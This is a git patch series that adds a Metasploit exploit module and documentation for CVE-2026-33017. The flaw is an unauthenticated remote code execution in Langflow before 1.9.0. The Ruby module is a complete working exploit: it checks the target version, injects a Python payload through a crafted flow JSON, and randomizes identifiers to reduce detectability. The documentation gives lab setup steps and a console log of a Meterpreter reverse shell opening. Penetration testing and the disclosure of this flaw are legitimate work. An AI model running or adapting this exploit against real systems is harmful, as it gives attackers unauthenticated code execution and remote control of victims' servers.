From d9ad02898b599a0d1212736e780532be3f950176 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Wed, 22 Jul 2026 13:18:12 -0400 Subject: [PATCH 01/13] Adding exploit module --- .../langflow_unauth_rce_cve_2026_33017.rb | 140 ++++++++++++++++++ 1 file changed, 140 insertions(+) create mode 100644 modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb diff --git a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb new file mode 100644 index 0000000000000..ab8722bf11a38 --- /dev/null +++ b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Langflow Unauth RCE', + 'Description' => %q{ + Langflow versions prior to 1.9.0 are susceptible to code injection in the + /api/v1/build_public_tmp//flow endpoint. A remote and unauthenticated + attacker can send crafted HTTP requests to execute arbitrary code. + }, + 'Author' => [ + 'Diamorphine', + 'Richard Howe ' + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-33017'], + ['EDB', '52627'], + ['URL', 'https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896'] + ], + 'Targets' => [ + [ + 'Python payload', + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } + } + ] + ], + 'DefaultTarget' => 0, + 'Payload' => { + 'BadChars' => '"' + }, + 'DisclosureDate' => '2026-03-20', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION ] + } + ) + ) + + register_options( + [ + OptString.new('FLOW_ID', [true, 'Public Langflow flow UUID', nil]), + Opt::RPORT(7860) + ] + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/v1/version') + }) + + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 + + json_version = res&.get_json_document&.fetch('version', nil) + return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version + + version = Rex::Version.new(json_version) + return Exploit::CheckCode::Unknown('Failed to get version.') unless version + + return Exploit::CheckCode::Appears("Version #{version} detected.") if version < Rex::Version.new('1.9.0') + + Exploit::CheckCode::Safe("Version #{version} does not appear vulnerable.") + end + + def exploit + flow_id = datastore['FLOW_ID'] + data = { + 'data' => { + 'nodes' => [ + { + 'id' => 'Exploit-001', + 'type' => 'genericNode', + 'position' => { + 'x' => 0, + 'y' => 0 + }, + 'data' => { + 'id' => 'Exploit-001', + 'type' => 'ExploitComp', + 'node' => { + 'template' => { + 'code' => { + 'type' => 'code', + 'required' => true, + 'show' => true, + 'multiline' => true, + 'value' => "#{payload.encode}\n\nfrom lfx.custom_custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})", + 'name' => 'code', + 'password' => false, + 'advanced' => false, + 'dynamic' => false + }, + '_type' => 'Component' + }, + 'description' => 'X', + 'base_classes' => ['Data'], + 'display_name' => 'ExploitComp', + 'name' => 'ExploitComp' + } + } + } + ], + 'edges' => [] + }, + 'inputs' => nil + } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "api/v1/build_public_tmp/#{flow_id}/flow"), + 'headers' => { + 'Content-Type' => 'application/json' + }, + 'cookie' => "client_id=#{Rex::Text.rand_text_alpha(8)}", + 'data' => data.to_json + }) + + fail_with(Failure::Unknown, 'Unexpected server reply.') unless res + + print_status("Server returned #{res.code}") + print_line(res.body) + end +end From aa48ab08020dcd3d5bbb55a1bfac4cf90fc924b5 Mon Sep 17 00:00:00 2001 From: Richard Howe <45905457+rmhowe425@users.noreply.github.com> Date: Thu, 23 Jul 2026 16:41:06 -0400 Subject: [PATCH 02/13] Moved payload insertion into r() Moved payload insertion into r() --- .../langflow_unauth_rce_cve_2026_33017.rb | 40 ++++++++++++++++++- 1 file changed, 38 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb index ab8722bf11a38..ca2c294c86a66 100644 --- a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb +++ b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb @@ -81,6 +81,22 @@ def check def exploit flow_id = datastore['FLOW_ID'] + + # The payload is placed at module top-level scope so it executes immediately + # when Langflow evals the code string, without waiting for any output method + # to be called. The class definition follows after so Langflow can still + # resolve the component vertex. Structure mirrors the working PoC exactly. + injected_code = "from lfx.custom.custom_component.component import Component\n" \ + "from lfx.io import Output\n" \ + "from lfx.schema.data import Data\n" \ + "\n" \ + "class ExploitComp(Component):\n" \ + " display_name='X'\n" \ + " outputs=[Output(display_name='O',name='o',method='r')]\n" \ + " def r(self)->Data:\n" \ + " #{payload.encode.gsub("\n", "\n ")}\n" \ + " return Data(data={})\n" + data = { 'data' => { 'nodes' => [ @@ -101,7 +117,7 @@ def exploit 'required' => true, 'show' => true, 'multiline' => true, - 'value' => "#{payload.encode}\n\nfrom lfx.custom_custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})", + 'value' => injected_code, 'name' => 'code', 'password' => false, 'advanced' => false, @@ -112,7 +128,27 @@ def exploit 'description' => 'X', 'base_classes' => ['Data'], 'display_name' => 'ExploitComp', - 'name' => 'ExploitComp' + 'name' => 'ExploitComp', + 'frozen' => false, + 'outputs' => [ + { + 'types' => ['Data'], + 'selected' => 'Data', + 'name' => 'o', + 'display_name' => 'O', + 'method' => 'r', + 'value' => '__UNDEFINED__', + 'cache' => true, + 'allows_loop' => false, + 'tool_mode' => false, + 'hidden' => nil, + 'required_inputs' => nil, + 'group_outputs' => false + } + ], + 'field_order' => ['code'], + 'beta' => false, + 'edited' => false } } } From d971c9cb9ff566a50e91ba09668b56295019ca90 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Thu, 23 Jul 2026 17:11:44 -0400 Subject: [PATCH 03/13] Adding documentation and running msftidy and msftidy_docs --- .../langflow_unauth_rce_cve_2026_33017.md | 54 +++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md diff --git a/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md new file mode 100644 index 0000000000000..67510f52ddc26 --- /dev/null +++ b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md @@ -0,0 +1,54 @@ +## Vulnerable Application + +Langflow versions prior to 1.9.0 are susceptible to code injection in the /api/v1/build_public_tmp//flow +endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code. + +The vulnerability affects: + + * Langflow < 1.9.0. + +This module was successfully tested on: + + * Langflow 1.8.4 (with authentication enabled) + + +### Installation +1. `python3 -m pip install langflow==1.8.4` + +2. `python -m langflow run --host 0.0.0.0 --port 7860` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2026_33017` +4. Do: `run lhost= rhost= FLOW_ID=` +5. You should get a meterpreter + + +## Options + + +## Scenarios +``` +msf > use exploit/multi/http/langflow_unauth_rce_cve_2026_33017 +[*] Using configured payload python/meterpreter/reverse_tcp +msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > set LHOST 127.0.0.1 +LHOST => 127.0.0.1 +msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > set FLOW_ID fd1d9d9b-6174-4b31-a621-2ee0f57435e2 +FLOW_ID => fd1d9d9b-6174-4b31-a621-2ee0f57435e2 +msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > exploit +[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? +[*] Started reverse TCP handler on 127.0.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 1.8.4 detected. +[*] Server returned 200 +{"job_id":"f646683d-94b8-4a84-9234-ed30b796bb24"} +[*] Sending stage (23408 bytes) to 127.0.0.1 +[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54764) at 2026-07-23 17:07:34 -0400 + +meterpreter > +``` From 4589bbc59e508bbd67886f9c1466b3bb0c1c1678 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Thu, 23 Jul 2026 17:14:45 -0400 Subject: [PATCH 04/13] Minor documentation changes --- .../exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md index 67510f52ddc26..c3c1c1599d14d 100644 --- a/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md +++ b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md @@ -23,7 +23,7 @@ This module was successfully tested on: 1. Install the application 2. Start msfconsole 3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2026_33017` -4. Do: `run lhost= rhost= FLOW_ID=` +4. Do: `run LHOST= RHOSTS= FLOW_ID=` 5. You should get a meterpreter From fa5e2b522d7f5f43b5ea96db4c7fd7a8cd250681 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Thu, 23 Jul 2026 20:00:51 -0400 Subject: [PATCH 05/13] Polishing up documentation --- .../exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb index ca2c294c86a66..79edd42949b7e 100644 --- a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb +++ b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb @@ -20,8 +20,8 @@ def initialize(info = {}) attacker can send crafted HTTP requests to execute arbitrary code. }, 'Author' => [ + 'Richard Howe ', 'Diamorphine', - 'Richard Howe ' ], 'License' => MSF_LICENSE, 'References' => [ From 9a2491d742f329cf3ffe46a10dbd00eb59a395bc Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Thu, 23 Jul 2026 21:48:00 -0400 Subject: [PATCH 06/13] Fixing both documentation and code formatting discrepancies --- .../langflow_unauth_rce_cve_2026_33017.md | 29 +++++++++++++------ .../langflow_unauth_rce_cve_2026_33017.rb | 27 ++++++++--------- 2 files changed, 34 insertions(+), 22 deletions(-) diff --git a/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md index c3c1c1599d14d..3c932bc39c995 100644 --- a/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md +++ b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md @@ -1,18 +1,19 @@ ## Vulnerable Application -Langflow versions prior to 1.9.0 are susceptible to code injection in the /api/v1/build_public_tmp//flow -endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code. +Langflow versions prior to 1.9.0 are vulnerable to unauthenticated remote code execution through the +`/api/v1/build_public_tmp//flow` endpoint. An attacker can send crafted HTTP requests to execute arbitrary code. The vulnerability affects: - * Langflow < 1.9.0. +* Langflow < 1.9.0. This module was successfully tested on: - * Langflow 1.8.4 (with authentication enabled) +* Langflow 1.8.4 (with authentication enabled) -### Installation +## Installation + 1. `python3 -m pip install langflow==1.8.4` 2. `python -m langflow run --host 0.0.0.0 --port 7860` @@ -23,12 +24,19 @@ This module was successfully tested on: 1. Install the application 2. Start msfconsole 3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2026_33017` -4. Do: `run LHOST= RHOSTS= FLOW_ID=` -5. You should get a meterpreter +4. Do: `set LHOST ` +5. Do: `set RHOSTS ` +6. Do: `set FLOW_ID ` +7. Do: `exploit` ## Options +### FLOW_ID + +The UUID of a public Langflow flow. This value can be obtained from the +Langflow web interface when viewing a flow. + ## Scenarios ``` @@ -45,10 +53,13 @@ msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > exploit [*] Started reverse TCP handler on 127.0.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 1.8.4 detected. -[*] Server returned 200 -{"job_id":"f646683d-94b8-4a84-9234-ed30b796bb24"} +[*] Payload sent successfully. [*] Sending stage (23408 bytes) to 127.0.0.1 [*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54764) at 2026-07-23 17:07:34 -0400 meterpreter > ``` + +## References + +- https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896 diff --git a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb index 79edd42949b7e..88eee0d69b678 100644 --- a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb +++ b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb @@ -15,9 +15,9 @@ def initialize(info = {}) info, 'Name' => 'Langflow Unauth RCE', 'Description' => %q{ - Langflow versions prior to 1.9.0 are susceptible to code injection in the - /api/v1/build_public_tmp//flow endpoint. A remote and unauthenticated - attacker can send crafted HTTP requests to execute arbitrary code. + Langflow versions prior to 1.9.0 are susceptible to unauthenticated remote code execution through the + /api/v1/build_public_tmp//flow endpoint. A remote and unauthenticated attacker can send crafted + HTTP requests to execute arbitrary code. }, 'Author' => [ 'Richard Howe ', @@ -68,19 +68,21 @@ def check return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 - json_version = res&.get_json_document&.fetch('version', nil) - return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version + version = res.get_json_document['version'] + return Exploit::CheckCode::Unknown('Failed to parse version.') unless version - version = Rex::Version.new(json_version) - return Exploit::CheckCode::Unknown('Failed to get version.') unless version + version = Rex::Version.new(version) - return Exploit::CheckCode::Appears("Version #{version} detected.") if version < Rex::Version.new('1.9.0') - - Exploit::CheckCode::Safe("Version #{version} does not appear vulnerable.") + if version < Rex::Version.new('1.9.0') + Exploit::CheckCode::Appears("Version #{version} appears vulnerable.") + else + Exploit::CheckCode::Safe("Version #{version} is not vulnerable.") + end end def exploit flow_id = datastore['FLOW_ID'] + fail_with(Failure::BadConfig, 'FLOW_ID is required.') unless flow_id # The payload is placed at module top-level scope so it executes immediately # when Langflow evals the code string, without waiting for any output method @@ -168,9 +170,8 @@ def exploit 'data' => data.to_json }) - fail_with(Failure::Unknown, 'Unexpected server reply.') unless res + fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res - print_status("Server returned #{res.code}") - print_line(res.body) + print_status("Payload sent successfully.") end end From 8f290c7e0e67e1dfbac01b9464587166cfa6dd18 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Thu, 23 Jul 2026 21:58:51 -0400 Subject: [PATCH 07/13] Fixing string interpolation discrepancy --- .../exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb index 88eee0d69b678..4255af260e476 100644 --- a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb +++ b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb @@ -172,6 +172,6 @@ def exploit fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res - print_status("Payload sent successfully.") + print_status('Payload sent successfully.') end end From 62800cf7cff10e24950ffa010763dd23bef5c1c9 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Fri, 24 Jul 2026 10:38:57 -0400 Subject: [PATCH 08/13] Randomizing values in the json blob --- .../langflow_unauth_rce_cve_2026_33017.rb | 37 ++++++++++++------- 1 file changed, 23 insertions(+), 14 deletions(-) diff --git a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb index 4255af260e476..bc75725e70d05 100644 --- a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb +++ b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb @@ -84,18 +84,27 @@ def exploit flow_id = datastore['FLOW_ID'] fail_with(Failure::BadConfig, 'FLOW_ID is required.') unless flow_id + # Randomize component identifiers + node_id = Rex::Text.rand_text_alpha(8) + component_display_name = Rex::Text.rand_text_alpha(5) + component_name = "Exploit#{Rex::Text.rand_text_alpha(5)}" + + output_display_name = Rex::Text.rand_text_alpha(5) + output_name = Rex::Text.rand_text_alpha(5).downcase + output_method = Rex::Text.rand_text_alpha(5).downcase + # The payload is placed at module top-level scope so it executes immediately # when Langflow evals the code string, without waiting for any output method # to be called. The class definition follows after so Langflow can still - # resolve the component vertex. Structure mirrors the working PoC exactly. + # resolve the component vertex. injected_code = "from lfx.custom.custom_component.component import Component\n" \ "from lfx.io import Output\n" \ "from lfx.schema.data import Data\n" \ "\n" \ - "class ExploitComp(Component):\n" \ - " display_name='X'\n" \ - " outputs=[Output(display_name='O',name='o',method='r')]\n" \ - " def r(self)->Data:\n" \ + "class #{component_name}(Component):\n" \ + " display_name='#{component_display_name}'\n" \ + " outputs=[Output(display_name='#{output_display_name}',name='#{output_name}',method='#{output_method}')]\n" \ + " def #{output_method}(self)->Data:\n" \ " #{payload.encode.gsub("\n", "\n ")}\n" \ " return Data(data={})\n" @@ -103,15 +112,15 @@ def exploit 'data' => { 'nodes' => [ { - 'id' => 'Exploit-001', + 'id' => node_id, 'type' => 'genericNode', 'position' => { 'x' => 0, 'y' => 0 }, 'data' => { - 'id' => 'Exploit-001', - 'type' => 'ExploitComp', + 'id' => node_id, + 'type' => component_name, 'node' => { 'template' => { 'code' => { @@ -127,18 +136,18 @@ def exploit }, '_type' => 'Component' }, - 'description' => 'X', + 'description' => component_display_name, 'base_classes' => ['Data'], - 'display_name' => 'ExploitComp', - 'name' => 'ExploitComp', + 'display_name' => component_name, + 'name' => component_name, 'frozen' => false, 'outputs' => [ { 'types' => ['Data'], 'selected' => 'Data', - 'name' => 'o', - 'display_name' => 'O', - 'method' => 'r', + 'name' => output_name, + 'display_name' => output_display_name, + 'method' => output_method, 'value' => '__UNDEFINED__', 'cache' => true, 'allows_loop' => false, From 06b1add4f581f8969427a8449a7e3d129f1e0bdf Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Fri, 31 Jul 2026 11:55:29 -0400 Subject: [PATCH 09/13] Updating documentation to include docker installation steps --- .../multi/http/langflow_unauth_rce_cve_2026_33017.md | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md index 3c932bc39c995..c2d40d62bea2a 100644 --- a/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md +++ b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md @@ -14,9 +14,11 @@ This module was successfully tested on: ## Installation -1. `python3 -m pip install langflow==1.8.4` - -2. `python -m langflow run --host 0.0.0.0 --port 7860` +1. `docker pull langflowai/langflow:1.8.4` +2. `docker run -d \ + --name langflow-1.8.4 \ + -p 7860:7860 \ + langflowai/langflow:1.8.4` ## Verification Steps From 01df1fe5136688e4d76098ddd643a525a7c79adc Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Fri, 31 Jul 2026 11:57:15 -0400 Subject: [PATCH 10/13] Updating documentation to include docker installation steps --- .../exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md index c2d40d62bea2a..a49f710665741 100644 --- a/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md +++ b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md @@ -15,10 +15,7 @@ This module was successfully tested on: ## Installation 1. `docker pull langflowai/langflow:1.8.4` -2. `docker run -d \ - --name langflow-1.8.4 \ - -p 7860:7860 \ - langflowai/langflow:1.8.4` +2. `docker run -d --name langflow-1.8.4 -p 7860:7860 langflowai/langflow:1.8.4` ## Verification Steps From 3c76bc22bd66c36d4b9ee715ce141a29bd83f3a9 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Mon, 3 Aug 2026 11:49:49 -0400 Subject: [PATCH 11/13] Updating implementation based on reviewer feedback --- .../multi/http/langflow_unauth_rce_cve_2026_33017.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb index bc75725e70d05..77f843854e406 100644 --- a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb +++ b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb @@ -1,3 +1,5 @@ +# frozen_string_literal: true + ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework @@ -34,8 +36,7 @@ def initialize(info = {}) 'Python payload', { 'Platform' => 'python', - 'Arch' => ARCH_PYTHON, - 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } + 'Arch' => ARCH_PYTHON } ] ], @@ -54,6 +55,7 @@ def initialize(info = {}) register_options( [ + OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('FLOW_ID', [true, 'Public Langflow flow UUID', nil]), Opt::RPORT(7860) ] @@ -93,9 +95,8 @@ def exploit output_name = Rex::Text.rand_text_alpha(5).downcase output_method = Rex::Text.rand_text_alpha(5).downcase - # The payload is placed at module top-level scope so it executes immediately - # when Langflow evals the code string, without waiting for any output method - # to be called. The class definition follows after so Langflow can still + # The payload is executed within the output method so it runs when the + # component vertex is invoked; the class definition allows Langflow to # resolve the component vertex. injected_code = "from lfx.custom.custom_component.component import Component\n" \ "from lfx.io import Output\n" \ From a4ebcb61eca3b3900ce3bf1583d26d1604d11819 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Mon, 3 Aug 2026 11:59:07 -0400 Subject: [PATCH 12/13] Updating implementation based on reviewer feedback --- .../langflow_unauth_rce_cve_2026_33017.rb | 53 ++++++++++++------- 1 file changed, 33 insertions(+), 20 deletions(-) diff --git a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb index 77f843854e406..78a76b80402c7 100644 --- a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb +++ b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb @@ -23,7 +23,7 @@ def initialize(info = {}) }, 'Author' => [ 'Richard Howe ', - 'Diamorphine', + 'Diamorphine' ], 'License' => MSF_LICENSE, 'References' => [ @@ -46,9 +46,9 @@ def initialize(info = {}) }, 'DisclosureDate' => '2026-03-20', 'Notes' => { - 'Stability' => [ CRASH_SAFE ], - 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], - 'Reliability' => [ REPEATABLE_SESSION ] + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] } ) ) @@ -63,17 +63,24 @@ def initialize(info = {}) end def check - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'api/v1/version') - }) + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/v1/version') + } + ) return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 - version = res.get_json_document['version'] - return Exploit::CheckCode::Unknown('Failed to parse version.') unless version + doc = res.get_json_document + version_str = doc.is_a?(Hash) ? doc['version'] : nil + return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str - version = Rex::Version.new(version) + begin + version = Rex::Version.new(version_str) + rescue StandardError + return Exploit::CheckCode::Unknown('Failed to parse version.') + end if version < Rex::Version.new('1.9.0') Exploit::CheckCode::Appears("Version #{version} appears vulnerable.") @@ -170,18 +177,24 @@ def exploit 'inputs' => nil } - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, "api/v1/build_public_tmp/#{flow_id}/flow"), - 'headers' => { - 'Content-Type' => 'application/json' - }, - 'cookie' => "client_id=#{Rex::Text.rand_text_alpha(8)}", - 'data' => data.to_json - }) + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "api/v1/build_public_tmp/#{flow_id}/flow"), + 'headers' => { + 'Content-Type' => 'application/json' + }, + 'cookie' => "client_id=#{Rex::Text.rand_text_alpha(8)}", + 'data' => data.to_json + } + ) fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res + unless res.code.between?(200, 299) + fail_with(Failure::UnexpectedReply, "Unexpected server reply (HTTP #{res.code}).") + end + print_status('Payload sent successfully.') end end From 9e368979fa84c3029d59177c7f577ae989ad427e Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Tue, 4 Aug 2026 09:26:23 -0400 Subject: [PATCH 13/13] Updating implementation and documentation based on reviewer feedback --- .../exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md index a49f710665741..e6cc43711b350 100644 --- a/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md +++ b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md @@ -51,7 +51,7 @@ msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > exploit [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? [*] Started reverse TCP handler on 127.0.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target appears to be vulnerable. Version 1.8.4 detected. +[+] The target appears to be vulnerable. Version 1.8.4 appears vulnerable. [*] Payload sent successfully. [*] Sending stage (23408 bytes) to 127.0.0.1 [*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54764) at 2026-07-23 17:07:34 -0400